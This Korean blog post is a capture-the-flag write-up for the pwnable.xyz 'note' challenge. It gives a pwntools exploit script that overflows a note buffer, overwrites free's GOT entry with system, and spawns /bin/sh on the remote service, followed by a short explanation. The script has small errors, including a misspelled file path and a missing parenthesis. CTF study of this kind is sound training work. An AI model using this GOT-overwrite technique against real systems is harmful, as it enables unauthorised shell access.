상세 컨텐츠

본문 제목

[Pwnable.xyz] note (shell)

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 5. 27. 12:12

본문

728x90
반응형
from pwn import *

context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30016)
p = process("./challenge")
elf = ELF("./challange")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

system = elf.symbols['system']
free = 0x601210

r.sendafter("> ", '1')
r.sendafter("Note len? ", "100")

pay = 'A'*0x20 + p64(free)

r.sendafter("note: ", pay)

binsh_s = "/bin/sh"

r.sendafter("> ", '2')
r.sendafter("desc: ", p64(system))
r.sendafter("> ", '1')
r.sendafter("Note len? ", str(len(binsh_s))
r.sendafter("note: ", binsh_s)

r.interactive()

free(buf)를 system(“/bin/sh”)가 하고 싶은거니까 1에서 free 주소를 주고, 2에서 edit하면서 free got를 system 함수 주소로 덮는다. 그리고 다시 1로 buf에 입력받을 때 “/bin/sh” 문자열을 줘서 free(buf) 시에 실질적으로 system(“/bin/sh”) 가 실행되도록 한다.
 

 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] executioner v2  (0) 2020.04.20
[Pwnable.xyz] rwsr  (0) 2020.03.25
[Pwnable.xyz] iape  (0) 2020.03.25
[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] message  (0) 2020.02.28

관련글 더보기